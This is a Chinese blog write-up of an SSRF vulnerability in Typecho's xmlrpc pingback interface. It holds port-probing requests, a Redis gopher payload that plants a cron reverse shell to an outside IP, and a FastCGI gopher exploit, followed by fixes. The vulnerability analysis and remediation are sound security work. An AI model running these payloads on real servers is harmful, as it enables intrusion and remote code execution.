百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

Typecho SSRF漏洞分析和利用(ssrf探测端口)

toyiye 2024-08-29 00:36 3 浏览 0 评论



1.前言

最近,WAF捕获到一条SSRF攻击payload,发现被攻击的域名是一个Typecho的博客系统。然后就去Google了下Typecho SSRF关键字,发现和WordPress一样,xmlrpc也存在同样的SSRF问题。

本文所有测试均在以下测试环境:

  • Typecho 1.0 (14.10.10) 最新Release版本

  • CentOS 7

  • libcurl/7.29.0

  • Redis server v=3.2.10

2. 漏洞原理

xmlrpc这个接口是给第三方软件读写文章使用,且Typecho默认有该功能,并无设置选项。

2.1 代码分析

漏洞URL:http://localhost/action/xmlrpc。POST提交以下Payload:

<?xml version="1.0" encoding="utf-8"?><methodCall>
 <methodName>pingback.ping</methodName>
 <params>
 <param>
 <value>
 <string>http://127.0.0.1:2222</string>
 </value>
 </param>
 <param>
 <value>
 <string>joychou</string>
 </value>
 </param>
 </params></methodCall>

收到源地址服务器错误这样的错误返回。

代码里搜索源地址服务器错误,发现只有var/Widget/XmlRpc.php文件里有,这就能确定案发现场了。只需要看懂public function pingbackPing($source, $target)函数即可,该函数的$source参数为http://127.0.0.1:2222$target为joychou

先调用Typecho_Http_Client类的get方法,返回 发起HTTP请求的类。如果失败,直接返回错误,整个调用结束。

XmlRpc.php

if (!($http = Typecho_Http_Client::get())) { return new IXR_Error(16, _t('源地址服务器错误'));
}

get方法代码如下,功能为,从Client/Adapter/目录中,添加两个发起HTTP请求的类,一个是Curl,另一个是Socket。如果Curl可用,就用Curl,否则用fsockopen。

var/Typecho/Http/Client.php

public static function get(){
 $adapters = func_get_args(); if (empty($adapters)) { $adapters = array(); $adapterFiles = glob(dirname(__FILE__) . '/Client/Adapter/*.php'); foreach ($adapterFiles as $file) { $adapters[] = substr(basename($file), 0, -4);
 }
 } foreach ($adapters as $adapter) { $adapterName = 'Typecho_Http_Client_Adapter_' . $adapter; if (Typecho_Common::isAvailableClass($adapterName) && call_user_func(array($adapterName, 'isAvailable'))) { return new $adapterName();
 }
 } return false;
}

回到XmlRpc.php,$http->setTimeout(5)->send($source);该行代码用上面返回的HTTP类调用send方法发起HTTP请求。具体发起请求的代码var/Typecho/Http/Client/Adapter/Curl.php

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PORT, $this->port);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

由于是cURL造成的SSRF,利用姿势就比较多了。还有Socket.php也会造成SSRF。

2.2 代码整体逻辑

  1. 程序写了两种发起HTTP请求的方式,Curl和fsockopen,Curl如果可用,优先选择使用

  2. 如果cURL返回失败或者返回成功后但状态码不是200,返回源地址服务器错误

  3. 如果cURL返回成功,并且状态码为200,如果没有x-pingback头,返回源地址不支持PingBack,如果有x-pingback头,就继续往下判断。

try { $http->setTimeout(5)->send($source); $response = $http->getResponseBody(); if (200 == $http->getResponseStatus()) { if (!$http->getResponseHeader('x-pingback')) {
 preg_match_all("/<link[^>]*rel=[\"']([^\"']*)[\"'][^>]*href=[\"']([^\"']*)[\"'][^>]*>/i", $response, $out); if (!isset($out[1]['pingback'])) { return new IXR_Error(50, _t('源地址不支持PingBack'));
 }
 }
 } else { return new IXR_Error(16, _t('源地址服务器错误'));
 }
} catch (Exception $e) { return new IXR_Error(16, _t('源地址服务器错误'));
}

3. 漏洞利用

3.1 端口探测

所以,可以根据返回码,我们可以来探测端口。

  • 返回源地址服务器错误,端口不开启。

  • 返回源地址不支持PingBack或者其他错误,端口开启。

3.1.1 探测Redis端口

curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:6379</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'

返回:

<?xml version="1.0"?><methodResponse>
 <fault>
 <value>
 <struct>
 <member>
 <name>faultCode</name>
 <value><int>16</int></value>
 </member>
 <member>
 <name>faultString</name>
 <value><string>源地址服务器错误</string></value>
 </member>
 </struct>
 </value>
 </fault></methodResponse>

所以,这就很尴尬,php curl对http://127.0.0.1:6379发起请求,返回true,但是状态码返回不是200。导致输出的也是源地址服务器错误。所以应该就只能探测WEB端口了。类似Redis、FastCGI、Struts2就盲打吧…

而且用时间差测试,端口是否有无,时间差几乎一样。

3.1.2 探测Web服务

python开一个2222的Web服务python -m SimpleHTTPServer 2222

payload:

curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:2222</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'

返回源地址不支持PingBack,说明端口开启。

<?xml version="1.0"?><methodResponse>
 <fault>
 <value>
 <struct>
 <member>
 <name>faultCode</name>
 <value><int>50</int></value>
 </member>
 <member>
 <name>faultString</name>
 <value><string>源地址不支持PingBack</string></value>
 </member>
 </struct>
 </value>
 </fault></methodResponse>

3.2 攻击Redis

EXP中由于带有&字符,需要使用CDATA。

<?xml version="1.0" encoding="utf-8"?><methodCall>
 <methodName>pingback.ping</methodName>
 <params>
 <param>
 <value>
 <string><![CDATA[gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/47.89.25.236/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a]]></string>
 </value>
 </param>
 <param>
 <value>
 <string>joychou</string>
 </value>
 </param>
 </params></methodCall>

3.3 攻击FastCGI

3.3.1 利用条件

  • libcurl版本>=7.45.0

  • PHP-FPM监听端口

  • PHP-FPM版本 >= 5.3.3

  • 知道服务器上任意一个php文件的绝对路径

由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。

https://curl.haxx.se/changes.html#7_45_

Fixed in 7.45.0 - October 7 2015

gopher: don't send NUL byte

3.3.2 转换为Gopher的EXP

监听一个端口的流量 nc -lvv 2333 > 1.txt,执行EXP,流量打到2333端口

python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php

urlencode

f = open('1.txt')ff = f.read()from urllib import quoteprint quote(ff)

得到gopher的EXP

%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00

执行EXP

curl 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00'

4. 修复

4.1 热修复

  • 如果不用第三方软件发文章,可将/action/xmlrpc接口用Nginx 403掉if ($uri ~ ^/action/xmlrpc$) {return 403;}

  • WAF拦截

4.2 代码修复

  • 限制协议为HTTP/HTTPS

  • 判断IP是否是内网

  • Curl.php和Socket.php都要修改

相关推荐

# Python 3 # Python 3字典Dictionary(1)

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中,格式如...

Python第八课:数据类型中的字典及其函数与方法

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值...

Python中字典详解(python 中字典)

字典是Python中使用键进行索引的重要数据结构。它们是无序的项序列(键值对),这意味着顺序不被保留。键是不可变的。与列表一样,字典的值可以保存异构数据,即整数、浮点、字符串、NaN、布尔值、列表、数...

Python3.9又更新了:dict内置新功能,正式版十月见面

机器之心报道参与:一鸣、JaminPython3.8的热乎劲还没过去,Python就又双叒叕要更新了。近日,3.9版本的第四个alpha版已经开源。从文档中,我们可以看到官方透露的对dic...

Python3 基本数据类型详解(python三种基本数据类型)

文章来源:加米谷大数据Python中的变量不需要声明。每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。在Python中,变量就是变量,它没有类型,我们所说的"类型"是变...

一文掌握Python的字典(python字典用法大全)

字典是Python中最强大、最灵活的内置数据结构之一。它们允许存储键值对,从而实现高效的数据检索、操作和组织。本文深入探讨了字典,涵盖了它们的创建、操作和高级用法,以帮助中级Python开发...

超级完整|Python字典详解(python字典的方法或操作)

一、字典概述01字典的格式Python字典是一种可变容器模型,且可存储任意类型对象,如字符串、数字、元组等其他容器模型。字典的每个键值key=>value对用冒号:分割,每个对之间用逗号,...

Python3.9版本新特性:字典合并操作的详细解读

处于测试阶段的Python3.9版本中有一个新特性:我们在使用Python字典时,将能够编写出更可读、更紧凑的代码啦!Python版本你现在使用哪种版本的Python?3.7分?3.5分?还是2.7...

python 自学,字典3(一些例子)(python字典有哪些基本操作)

例子11;如何批量复制字典里的内容2;如何批量修改字典的内容3;如何批量修改字典里某些指定的内容...

Python3.9中的字典合并和更新,几乎影响了所有Python程序员

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

Python3大字典:《Python3自学速查手册.pdf》限时下载中

最近有人会想了,2022了,想学Python晚不晚,学习python有前途吗?IT行业行业薪资高,发展前景好,是很多求职群里严重的香饽饽,而要进入这个高薪行业,也不是那么轻而易举的,拿信工专业的大学生...

python学习——字典(python字典基本操作)

字典Python的字典数据类型是基于hash散列算法实现的,采用键值对(key:value)的形式,根据key的值计算value的地址,具有非常快的查取和插入速度。但它是无序的,包含的元素个数不限,值...

324页清华教授撰写【Python 3 菜鸟查询手册】火了,小白入门字典

如何入门学习python...

Python3.9中的字典合并和更新,了解一下

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

python3基础之字典(python中字典的基本操作)

字典和列表一样,也是python内置的一种数据结构。字典的结构如下图:列表用中括号[]把元素包起来,而字典是用大括号{}把元素包起来,只不过字典的每一个元素都包含键和值两部分。键和值是一一对应的...

取消回复欢迎 发表评论:

请填写验证码